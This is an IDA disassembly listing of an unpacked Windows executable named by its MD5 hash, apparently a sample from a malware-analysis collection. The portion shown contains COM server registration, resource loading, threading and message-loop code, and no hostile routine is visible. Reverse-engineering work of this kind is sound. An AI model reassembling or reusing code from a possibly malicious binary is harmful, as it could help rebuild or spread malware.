;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	990874CDACE5B30ED789B2D5109858DD

; File Name   :	u:\work\990874cdace5b30ed789b2d5109858dd_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000B035 (  45109.)
; Section size in file		: 0000B200 (  45568.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: StartAddress+4p
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:WaitForSingleObject
		mov	esi, ecx
		xor	ebx, ebx


loc_40100D:				; CODE XREF: sub_401000+36j
					; sub_401000+3Bj
		mov	eax, [esi+88h]
		push	0FFFFFFFFh	; dwMilliseconds
		push	eax		; hHandle
		call	edi ; WaitForSingleObject


loc_401018:				; CODE XREF: sub_401000+2Ej
		mov	ecx, [esi+88h]
		push	1388h		; dwMilliseconds
		push	ecx		; hHandle
		mov	[esi+8Ch], bl
		call	edi ; WaitForSingleObject
		test	eax, eax
		jz	short loc_401018
		cmp	[esi+8Ch], bl
		jnz	short loc_40100D
		cmp	[esi+14h], ebx
		jnz	short loc_40100D
		mov	edx, [esi+88h]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	eax, [esi+84h]
		push	ebx		; lParam
		push	ebx		; wParam
		push	12h		; Msg
		push	eax		; idThread
		call	ds:PostThreadMessageA	; PostThreadMessageA
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_401060(LPVOID lpParameter)

sub_401060	proc near		; CODE XREF: sub_4010C0+344p

ThreadId	= dword	ptr -4

		push	ecx
		push	esi
		push	0		; lpName
		push	0		; bInitialState
		push	0		; bManualReset
		mov	esi, ecx
		push	0		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		test	eax, eax
		mov	[esi+88h], eax
		jnz	short loc_401081
		xor	al, al
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_401081:				; CODE XREF: sub_401060+1Aj
		lea	eax, [esp+8+ThreadId]
		push	eax		; lpThreadId
		push	0		; dwCreationFlags
		push	esi		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		neg	eax
		sbb	eax, eax
		pop	esi
		neg	eax
		pop	ecx
		retn
sub_401060	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; DATA XREF: sub_401060+29o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		call	sub_401000
		xor	eax, eax
		retn	4
StartAddress	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4010C0(HINSTANCE hInstance,int,int,int)

sub_4010C0	proc near		; CODE XREF: start+9Fp

szLongPath	= byte ptr -234h
String		= byte ptr -130h
Msg		= _SYSTEM_INFO ptr -2Ch
var_8		= dword	ptr -8
sz		= byte ptr -4
var_2		= byte ptr -2
hInstance	= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 234h
		push	ebx
		push	esi
		push	edi
		call	ds:GetCommandLineA	; GetCommandLineA
		xor	ebx, ebx
		mov	[ebp+arg_8], eax
		push	ebx		; pvReserved
		call	ds:CoInitialize
		mov	eax, [ebp+hInstance]
		mov	dword_40FB50, offset dword_40F078
		push	eax
		push	offset dword_40FB70
		push	offset dword_40FAE0
		mov	dword_40FBA8, offset dword_40FAE0
		mov	dword_40FAE0, 84h
		mov	dword_40FB44, 300h
		call	sub_4045A0
		mov	ecx, offset dword_40D688
		test	ecx, ecx
		jz	short loc_401150
		mov	edx, ds:dword_40D688
		mov	eax, ds:dword_40D68C
		mov	ecx, ds:dword_40D690
		mov	dword_40FB98, edx
		mov	edx, ds:dword_40D694
		mov	dword_40FB9C, eax
		mov	dword_40FBA0, ecx
		mov	dword_40FBA4, edx


loc_401150:				; CODE XREF: sub_4010C0+60j
		mov	edi, ds:HeapCreate
		push	ebx		; dwMaximumSize
		push	ebx		; dwInitialSize
		push	ebx		; flOptions
		call	edi ; HeapCreate
		mov	hHeap, eax
		lea	eax, [ebp+Msg]
		push	eax		; lpSystemInfo
		call	ds:GetSystemInfo	; GetSystemInfo
		mov	eax, [ebp+Msg.dwNumberOfProcessors]
		cmp	eax, 1
		jbe	short loc_4011CC
		lea	edx, [eax+eax]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax


loc_40117A:				; CODE XREF: sub_4010C0+CAj
		test	edx, 80000000h
		jnz	short loc_40118C
		shl	edx, 1
		shr	ecx, 1
		inc	eax
		cmp	eax, 20h
		jl	short loc_40117A


loc_40118C:				; CODE XREF: sub_4010C0+C0j
		mov	edx, hHeap
		shr	ecx, 1
		mov	dword_40FB54, ecx
		lea	ecx, ds:4[ecx*4]
		push	ecx		; dwBytes
		push	ebx		; dwFlags
		push	edx		; hHeap
		call	ds:HeapAlloc
		mov	dwFlags, eax
		xor	esi, esi


loc_4011B1:				; CODE XREF: sub_4010C0+108j
		push	ebx		; dwMaximumSize
		push	ebx		; dwInitialSize
		push	ebx		; flOptions
		call	edi ; HeapCreate
		mov	ecx, dwFlags
		inc	esi
		mov	[ecx+esi*4-4], eax
		mov	eax, dword_40FB54
		cmp	esi, eax
		jbe	short loc_4011B1
		jmp	short loc_4011D8
; ---------------------------------------------------------------------------


loc_4011CC:				; CODE XREF: sub_4010C0+B0j
		mov	dwFlags, ebx
		mov	dword_40FB54, ebx


loc_4011D8:				; CODE XREF: sub_4010C0+10Aj
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		mov	dx, word_40F0C4
		lea	ecx, [ebp+sz]
		mov	word ptr [ebp+sz], dx
		mov	edx, [ebp+arg_8]
		mov	dword_40FB64, eax
		mov	al, byte_40F0C6
		push	ecx		; lpsz
		push	edx		; int
		mov	[ebp+var_2], al
		mov	[ebp+var_8], ebx
		call	sub_403690
		mov	esi, eax
		add	esp, 8
		cmp	esi, ebx
		jz	loc_4013FF
		mov	edi, ds:lstrcmpiA


loc_401219:				; CODE XREF: sub_4010C0+186j
		push	offset String2	; "UnregServer"
		push	esi		; lpString1
		call	edi ; lstrcmpiA
		test	eax, eax
		jz	short loc_40124D
		push	offset aRegserver ; "RegServer"
		push	esi		; lpString1
		call	edi ; lstrcmpiA
		test	eax, eax
		jz	loc_401329
		lea	eax, [ebp+sz]
		push	eax		; lpsz
		push	esi		; int
		call	sub_403690
		mov	esi, eax
		add	esp, 8
		cmp	esi, ebx
		jnz	short loc_401219
		jmp	loc_4013FF
; ---------------------------------------------------------------------------


loc_40124D:				; CODE XREF: sub_4010C0+163j
		lea	ecx, [ebp+Msg.dwNumberOfProcessors]
		call	sub_404540
		mov	edx, dword_40FBA8
		lea	ecx, [ebp+szLongPath]
		push	104h		; nSize
		push	ecx		; lpFilename
		mov	eax, [edx+4]
		push	eax		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		lea	ecx, [ebp+String]
		push	104h		; cchBuffer
		lea	edx, [ebp+szLongPath]
		push	ecx		; lpszShortPath
		push	edx		; lpszLongPath
		call	ds:GetShortPathNameA	; GetShortPathNameA
		lea	eax, [ebp+String]
		test	eax, eax
		jnz	short loc_401298
		xor	esi, esi
		jmp	short loc_4012C8
; ---------------------------------------------------------------------------


loc_401298:				; CODE XREF: sub_4010C0+1D2j
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		lea	edx, [ebp+String]
		push	esi		; cchWideChar
		push	edx		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_4012C8:				; CODE XREF: sub_4010C0+1D6j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	eax, ds:2[eax*4]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi
		push	edi
		call	sub_401590
		add	esp, 8
		lea	eax, [ebp+Msg.dwNumberOfProcessors]
		push	edi		; int
		push	offset aModule	; "Module"
		push	eax		; int
		call	sub_401620
		push	offset Type	; "REGISTRY"
		push	64h		; lpName
		lea	ecx, [ebp+Msg.dwNumberOfProcessors]
		push	esi		; lpString
		push	ecx		; int
		call	sub_4018A0
		lea	ecx, [ebp+Msg.dwNumberOfProcessors]
		call	sub_4015D0
		push	ebx		; int
		push	1		; bstrString
		push	offset dword_40FAE0 ; pptlib
		call	sub_404A70
		mov	[ebp+var_8], eax
		jmp	loc_40153B
; ---------------------------------------------------------------------------


loc_401329:				; CODE XREF: sub_4010C0+16Fj
		lea	ecx, [ebp+Msg.dwNumberOfProcessors]
		call	sub_404540
		mov	eax, dword_40FBA8
		lea	edx, [ebp+szLongPath]
		push	104h		; nSize
		push	edx		; lpFilename
		mov	ecx, [eax+4]
		push	ecx		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		lea	edx, [ebp+String]
		push	104h		; cchBuffer
		lea	eax, [ebp+szLongPath]
		push	edx		; lpszShortPath
		push	eax		; lpszLongPath
		call	ds:GetShortPathNameA	; GetShortPathNameA
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_401373
		xor	esi, esi
		jmp	short loc_4013A3
; ---------------------------------------------------------------------------


loc_401373:				; CODE XREF: sub_4010C0+2ADj
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		lea	ecx, [ebp+String]
		push	esi		; cchWideChar
		push	ecx		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_4013A3:				; CODE XREF: sub_4010C0+2B1j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	eax, ds:2[eax*4]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi
		push	edi
		call	sub_401590
		add	esp, 8
		lea	edx, [ebp+Msg.dwNumberOfProcessors]
		push	edi		; int
		push	offset aModule	; "Module"
		push	edx		; int
		call	sub_401620
		push	offset Type	; "REGISTRY"
		push	64h		; int
		lea	eax, [ebp+Msg.dwNumberOfProcessors]
		push	esi		; lpString
		push	eax		; int
		call	sub_401710
		lea	ecx, [ebp+Msg.dwNumberOfProcessors]
		call	sub_4015D0
		push	ebx
		push	1
		push	offset dword_40FAE0
		call	sub_404810
		mov	[ebp+var_8], eax


loc_4013FF:				; CODE XREF: sub_4010C0+14Dj
					; sub_4010C0+188j
		mov	ecx, offset dword_40FAE0 ; lpParameter
		call	sub_401060
		push	1		; flags
		push	4		; dwClsContext
		push	offset dword_40FAE0 ; int
		call	sub_404630
		mov	al, ds:byte_40D71A
		test	al, al
		jz	short loc_401442
		mov	edx, [ebp+arg_8]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr [ecx+edx-1], 75h
		jnz	short loc_401442
		mov	ecx, [ebp+hInstance]
		push	ecx		; hInstance
		call	sub_4036E0
		add	esp, 4


loc_401442:				; CODE XREF: sub_4010C0+35Ej
					; sub_4010C0+374j
		call	ds:GetCommandLineA	; GetCommandLineA
		mov	edi, [ebp+hInstance]
		push	eax		; lpString
		push	edi		; hInstance
		call	sub_4039C0
		push	60h		; dwBytes
		call	sub_40AF50
		mov	esi, eax
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4014B0
		mov	ecx, esi
		call	sub_403680
		lea	ecx, [esi+20h]	; int
		call	sub_408BE0
		mov	dword ptr [esi], offset	off_40D698
		mov	[esi+1Ch], edi
		mov	[esi+5Ch], ebx
		mov	byte ptr [esi+4Ch], 0
		push	ebx		; dwInitParam
		mov	lpMem, esi
		call	ds:GetDesktopWindow	; GetDesktopWindow
		mov	ecx, lpMem
		push	eax		; hWndParent
		call	sub_404DC0
		mov	al, ds:byte_40D718
		test	al, al
		jz	short loc_4014B8
		mov	edx, lpMem
		push	ebx
		mov	eax, [edx+4]
		push	eax
		jmp	short loc_4014C4
; ---------------------------------------------------------------------------


loc_4014B0:				; CODE XREF: sub_4010C0+3A0j
		mov	lpMem, ebx
		jmp	short loc_401526
; ---------------------------------------------------------------------------


loc_4014B8:				; CODE XREF: sub_4010C0+3E1j
		mov	ecx, lpMem
		push	5		; nCmdShow
		mov	edx, [ecx+4]
		push	edx		; hWnd


loc_4014C4:				; CODE XREF: sub_4010C0+3EEj
		call	ds:ShowWindow	; ShowWindow
		mov	esi, ds:GetMessageA
		push	ebx		; wMsgFilterMax
		push	ebx		; wMsgFilterMin
		lea	eax, [ebp+Msg.lpMinimumApplicationAddress]
		push	ebx		; hWnd
		push	eax		; lpMsg
		call	esi ; GetMessageA
		test	eax, eax
		jz	short loc_401515
		mov	edi, ds:IsDialogMessageA
		mov	ebx, ds:DispatchMessageA


loc_4014E9:				; CODE XREF: sub_4010C0+451j
		mov	edx, lpMem
		lea	ecx, [ebp+Msg.lpMinimumApplicationAddress]
		push	ecx		; lpMsg
		mov	eax, [edx+4]
		push	eax		; hDlg
		call	edi ; IsDialogMessageA
		test	eax, eax
		jnz	short loc_401503
		lea	ecx, [ebp+Msg.lpMinimumApplicationAddress]
		push	ecx		; lpMsg
		call	ebx ; DispatchMessageA


loc_401503:				; CODE XREF: sub_4010C0+43Bj
		push	0		; wMsgFilterMax
		push	0		; wMsgFilterMin
		lea	edx, [ebp+Msg.lpMinimumApplicationAddress]
		push	0		; hWnd
		push	edx		; lpMsg
		call	esi ; GetMessageA
		test	eax, eax
		jnz	short loc_4014E9
		xor	ebx, ebx


loc_401515:				; CODE XREF: sub_4010C0+41Bj
		mov	ecx, lpMem	; lpMem
		cmp	ecx, ebx
		jz	short loc_401526
		push	1		; char
		call	sub_404570


loc_401526:				; CODE XREF: sub_4010C0+3F6j
					; sub_4010C0+45Dj
		push	offset dword_40FAE0
		call	sub_4046D0
		push	3E8h		; dwMilliseconds
		call	ds:Sleep	; Sleep


loc_40153B:				; CODE XREF: sub_4010C0+264j
		push	offset dword_40FAE0
		call	sub_404720
		call	ds:CoUninitialize
		mov	eax, [ebp+var_8]
		lea	esp, [ebp-240h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4010C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_401560(LPWSTR lpWideCharStr,LPCSTR lpMultiByteStr,int cchWideChar,UINT CodePage)

sub_401560	proc near		; CODE XREF: sub_4010C0+201p
					; sub_4010C0+2DCp ...

lpWideCharStr	= dword	ptr  4
lpMultiByteStr	= dword	ptr  8
cchWideChar	= dword	ptr  0Ch
CodePage	= dword	ptr  10h

		mov	eax, [esp+cchWideChar]
		mov	ecx, [esp+lpMultiByteStr]
		mov	edx, [esp+CodePage]
		push	esi
		mov	esi, [esp+4+lpWideCharStr]
		push	eax		; cchWideChar
		push	esi		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	ecx		; lpMultiByteStr
		push	0		; dwFlags
		push	edx		; CodePage
		mov	word ptr [esi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, esi
		pop	esi
		retn	10h
sub_401560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401590	proc near		; CODE XREF: sub_4010C0+224p
					; sub_4010C0+2FFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		mov	cx, [edx]
		test	cx, cx
		jz	short loc_4015C0


loc_4015A0:				; CODE XREF: sub_401590+2Ej
		mov	[eax], cx
		add	eax, 2
		cmp	word ptr [edx],	27h
		jnz	short loc_4015B4
		mov	word ptr [eax],	27h
		add	eax, 2


loc_4015B4:				; CODE XREF: sub_401590+1Aj
		mov	cx, [edx+2]
		add	edx, 2
		test	cx, cx
		jnz	short loc_4015A0


loc_4015C0:				; CODE XREF: sub_401590+Ej
		mov	word ptr [eax],	0
		retn
sub_401590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4015D0	proc near		; CODE XREF: sub_4010C0+24Fp
					; sub_4010C0+32Ap
		push	ebx
		mov	ebx, ecx
		push	edi
		xor	edi, edi
		mov	eax, [ebx+4]
		test	eax, eax
		jle	short loc_401608
		push	ebp
		mov	ebp, ds:CoTaskMemFree
		push	esi


loc_4015E5:				; CODE XREF: sub_4015D0+34j
		mov	eax, [ebx]
		mov	esi, [eax+edi*4]
		mov	ecx, [esi+4]
		push	ecx		; pv
		call	ebp ; CoTaskMemFree
		mov	edx, [esi]
		push	edx		; pv
		call	ebp ; CoTaskMemFree
		push	esi		; lpMem
		call	sub_40AF60
		mov	eax, [ebx+4]
		add	esp, 4
		inc	edi
		cmp	edi, eax
		jl	short loc_4015E5
		pop	esi
		pop	ebp


loc_401608:				; CODE XREF: sub_4015D0+Bj
		mov	eax, [ebx]
		mov	dword ptr [ebx+4], 0
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		pop	edi
		pop	ebx
		retn
sub_4015D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_401620(int,LPCWSTR lpString,int)

sub_401620	proc near		; CODE XREF: sub_4010C0+236p
					; sub_4010C0+311p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
lpString	= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	8		; dwBytes
		mov	[esp+18h+var_4], 0
		call	sub_40AF50
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_401702
		mov	eax, [esp+14h+lpString]
		mov	edi, ds:lstrlenW
		push	eax		; lpString
		call	edi ; lstrlenW
		lea	esi, [eax+eax+2]
		mov	ecx, [esp+14h+arg_8]
		push	ecx		; lpString
		call	edi ; lstrlenW
		mov	edi, ds:CoTaskMemAlloc
		push	esi		; cb
		lea	ebp, [eax+eax+2]
		call	edi ; CoTaskMemAlloc
		push	ebp		; cb
		mov	[ebx], eax
		call	edi ; CoTaskMemAlloc
		mov	edi, [ebx]
		mov	[ebx+4], eax
		test	edi, edi
		jz	short loc_4016EA
		test	eax, eax
		jz	short loc_4016EA
		mov	ecx, esi
		mov	esi, [esp+14h+lpString]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [esp+14h+arg_8]
		mov	edi, [ebx+4]
		mov	ecx, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	esi, [esp+14h+arg_0]
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		cmp	ecx, eax
		jnz	short loc_4016CB
		mov	edx, [esi]
		add	eax, eax
		mov	[esi+8], eax
		lea	ecx, ds:0[eax*4]
		push	ecx		; dwBytes
		push	edx		; lpMem
		call	sub_40AEB0
		add	esp, 8
		mov	[esi], eax


loc_4016CB:				; CODE XREF: sub_401620+8Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_401702
		mov	ecx, [esi+4]
		pop	edi
		mov	[eax+ecx*4], ebx
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, [esp+10h+var_4]
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4016EA:				; CODE XREF: sub_401620+52j
					; sub_401620+56j
		mov	esi, ds:CoTaskMemFree
		push	edi		; pv
		call	esi ; CoTaskMemFree
		mov	edx, [ebx+4]
		push	edx		; pv
		call	esi ; CoTaskMemFree
		push	ebx		; lpMem
		call	sub_40AF60
		add	esp, 4


loc_401702:				; CODE XREF: sub_401620+1Bj
					; sub_401620+AFj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 8007000Eh
		pop	ebx
		pop	ecx
		retn	0Ch
sub_401620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_401710(int,LPCWSTR lpString,int,LPCWSTR lpType)

sub_401710	proc near		; CODE XREF: sub_4010C0+322p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
lpType		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		mov	ebx, [ebp+lpType]
		push	esi
		push	edi
		test	ebx, ebx
		jnz	short loc_401725
		mov	[ebp+lpType], ebx
		jmp	short loc_401757
; ---------------------------------------------------------------------------


loc_401725:				; CODE XREF: sub_401710+Ej
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	edi, [eax+eax+2]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	esi, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	edi		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ebx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	byte ptr [esi],	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	[ebp+lpType], esi


loc_401757:				; CODE XREF: sub_401710+13j
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+lpString]
		mov	[ebp+var_4], eax
		xor	eax, eax
		and	esi, 0FFFFh
		cmp	ebx, eax
		mov	[ebp+arg_8], esi
		mov	[ebp+var_8], eax
		jz	short loc_4017A9
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	edi, [eax+eax+2]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	esi, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	edi		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ebx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	byte ptr [esi],	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	eax, esi
		mov	esi, [ebp+arg_8]


loc_4017A9:				; CODE XREF: sub_401710+63j
		push	2		; dwFlags
		push	0		; hFile
		push	eax		; lpLibFileName
		call	ds:LoadLibraryExA	; LoadLibraryExA
		mov	edi, eax
		test	edi, edi
		mov	[ebp+arg_8], edi
		jnz	short loc_4017EF
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jz	short loc_4017E1
		call	esi ; GetLastError
		and	eax, 0FFFFh
		or	eax, 80070000h
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4017E1:				; CODE XREF: sub_401710+B7j
		xor	eax, eax
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4017EF:				; CODE XREF: sub_401710+ABj
		mov	ecx, [ebp+lpType]
		push	ecx		; lpType
		push	esi		; lpName
		push	edi		; hModule
		call	ds:FindResourceA	; FindResourceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_401811
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jnz	short loc_40182B


loc_40180D:				; CODE XREF: sub_401710+119j
		xor	esi, esi
		jmp	short loc_401886
; ---------------------------------------------------------------------------


loc_401811:				; CODE XREF: sub_401710+EFj
		push	ebx		; hResInfo
		push	edi		; hModule
		call	ds:LoadResource	; LoadResource
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40183D
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jz	short loc_40180D


loc_40182B:				; CODE XREF: sub_401710+FBj
		call	esi ; GetLastError
		mov	esi, eax
		and	esi, 0FFFFh
		or	esi, 80070000h
		jmp	short loc_401886
; ---------------------------------------------------------------------------


loc_40183D:				; CODE XREF: sub_401710+10Dj
		push	ebx		; hResInfo
		push	edi		; hModule
		call	ds:SizeofResource	; SizeofResource
		mov	ebx, eax
		mov	eax, esi
		cmp	byte ptr [ebx+esi], 0
		jz	short loc_401879
		lea	edi, [ebx+1]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ecx, edi
		mov	eax, esp
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+arg_8]
		mov	byte ptr [eax+ebx], 0


loc_401879:				; CODE XREF: sub_401710+13Dj
		push	1
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_401A30
		mov	esi, eax


loc_401886:				; CODE XREF: sub_401710+FFj
					; sub_401710+12Bj
		push	edi		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		lea	esp, [ebp-14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_401710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4018A0(int,LPCWSTR lpString,LPCSTR lpName,LPCWSTR lpType)

sub_4018A0	proc near		; CODE XREF: sub_4010C0+247p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
lpName		= dword	ptr  10h
lpType		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		mov	ebx, [ebp+lpType]
		push	esi
		push	edi
		test	ebx, ebx
		jnz	short loc_4018B5
		mov	[ebp+lpType], ebx
		jmp	short loc_4018E7
; ---------------------------------------------------------------------------


loc_4018B5:				; CODE XREF: sub_4018A0+Ej
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	edi, [eax+eax+2]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	esi, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	edi		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ebx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	byte ptr [esi],	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		mov	[ebp+lpType], esi


loc_4018E7:				; CODE XREF: sub_4018A0+13j
		mov	eax, [ebp+lpName]
		mov	ebx, [ebp+lpString]
		and	eax, 0FFFFh
		xor	esi, esi
		mov	[ebp+lpName], eax
		mov	eax, [ebp+arg_0]
		cmp	ebx, esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], esi
		jz	short loc_401933
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	edi, [eax+eax+2]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	esi, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	edi		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ebx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	byte ptr [esi],	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte


loc_401933:				; CODE XREF: sub_4018A0+62j
		push	2		; dwFlags
		push	0		; hFile
		push	esi		; lpLibFileName
		call	ds:LoadLibraryExA	; LoadLibraryExA
		mov	edi, eax
		test	edi, edi
		mov	[ebp+arg_0], edi
		jnz	short loc_401979
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jz	short loc_40196B
		call	esi ; GetLastError
		and	eax, 0FFFFh
		or	eax, 80070000h
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_40196B:				; CODE XREF: sub_4018A0+B1j
		xor	eax, eax
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
